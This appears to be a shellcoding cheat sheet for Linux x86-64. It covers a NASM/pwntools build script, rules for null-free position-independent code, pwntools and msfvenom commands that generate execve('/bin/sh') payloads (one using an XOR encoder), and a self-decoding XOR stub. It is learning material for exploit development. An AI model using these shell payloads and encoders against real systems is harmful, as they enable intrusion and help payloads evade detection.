Skip to main content

Shellcoding

Basic toolchain

Code

#!/bin/bash
# build-shellcode.sh

if [ -z "$1" ]; then
echo "Usage: $0 filename"
exit 1
fi

run_flag=false
if [ "$2" == "--run" ]; then
run_flag=true
fi

filename=$(basename -- "$1")
filename_noext="${filename%.*}"

nasm -f elf64 "$1" -o "${filename_noext}.o"

ld "${filename_noext}.o" -o "${filename_noext}.linked"

python parse-shellcode.py "${filename_noext}.linked"

if [ "$run_flag" == true ]; then
./"${filename_noext}.linked"
fi
#!/usr/bin/python3
# parse-shellcode.py

import sys
from pwn import *

context(os="linux", arch="amd64", log_level="error")

file = ELF(sys.argv[1])
shellcode = file.section(".text")

print(shellcode.hex())
print(''.join([r'\x{:02x}'.format(c) for c in shellcode]))

print("%d bytes - Found NULL bytes" % len(shellcode)) if [i for i in shellcode if i == 0] else print("%d bytes - No NULL bytes" % len(shellcode))

Usage

./build-shellcode.sh some_asm_shellcode.asm --run

Shellcode ASM template

shellcode_asm_template.asm

section .text
global _start

_start:
xor rax, rax
mov rax, 0x6574616161616c70
push rax
mov rax, 0x6d657420656d6f53
push rax

xor rax, rax
mov al, 0x01
mov dil, 0x01
mov rsi, rsp
mov dl, 16
syscall

xor al, al
mov al, 0x3c
xor dil, dil
syscall

Compliance

The shellcode must fill the following requirements:

  • Does not contain variables
    • The entire shellcode must be under the .text section.
    • Move strings to the stack, max size per "push" is 8 bytes, in reverse order.
mov rbx, 'hi'
push rbx
mov rbx, 'bonjour '
push rbx
mov rsi, rsp
  • Does not refer to direct memory addresses
    • Replace with calls to labels or rip-relative addresses (for calls and loops)
    • Push to the Stack and use rsp as the address (for mov and other assembly instructions)
  • Does not contain any null bytes (00)
    • Use registers that match the data size (like mov al, 1 instead of mov rax, 1)
    mov bx, 'hi'
push bx
mov rbx, 'bonjour '
push rbx
mov rsi, rsp
mov al, 1
mov dil, 1
mov dl, 10
syscall

With pwntools

pwn asm 'pop rax; push rax;' -c 'amd64'
#
# 5850
#

pwn disasm '5850' -c 'amd64'
#
# 0: 58 pop rax
# 1: 50 push rax
#

pwn disasm '6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05' -c amd64
python
>>> from pwn import *
>>> context.update(arch='amd64', os='linux')
>>> asm('mov rax,1')
>>> asm('mov rax,1').hex()
>>> printb = lambda x: print(' '.join(f'{byte:02x}' for byte in x))
>>> lprintb = lambda filename: print(' '.join(f'{byte:02x}' for byte in ELF(filename).section('.text')))
>>> printb(ELF('someExe').section('.text'))

>>> run_shellcode(unhex('4831db66bb7921...')).interactive()

Shellcrafting

pwn shellcraft -l 'amd64.linux'
pwn shellcraft amd64.linux.sh
from pwn import *
context(os="linux", arch="amd64", log_level="error")
dir(shellcraft)

syscall = shellcraft.execve(path='/bin/sh', argv=['/bin/sh'])
asm(syscall).hex()

With msfvenom

msfvenom -l payloads | grep 'linux/x64'
msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex'
msfvenom -p 'linux/x64/exec' CMD='sh' -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor'

python3 -c "import sys; sys.stdout.buffer.write(bytes.fromhex('...'))" > shell.bin
msfvenom -p - -a 'x64' --platform 'linux' -f 'hex' -e 'x64/xor' < shell.bin

Self modifying shellcode on the stack (XOR)

Requires executable and writeable stack

(gdb) info proc map
Start Addr End Addr Size Offset Perms objfile
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rwxp [stack]
section .text
global _start

_start:
sub rsp, shellcode_len
jmp short call_encoded_shellcode

shellcode:
pop rsi
xor rcx, rcx
mov rdi, rsp
mov cl, shellcode_len
rep movsb
mov cl, shellcode_len
mov bl, 0xaa
mov rsi, rsp

decode_loop:
xor byte [rsi], bl
inc rsi
loop decode_loop
jmp rsp

call_encoded_shellcode:
call shellcode
encoded_shellcode:
db 0xe2,0x9b,0x6a ; Add a already XORed shellcode here

shellcode_len equ $ - encoded_shellcode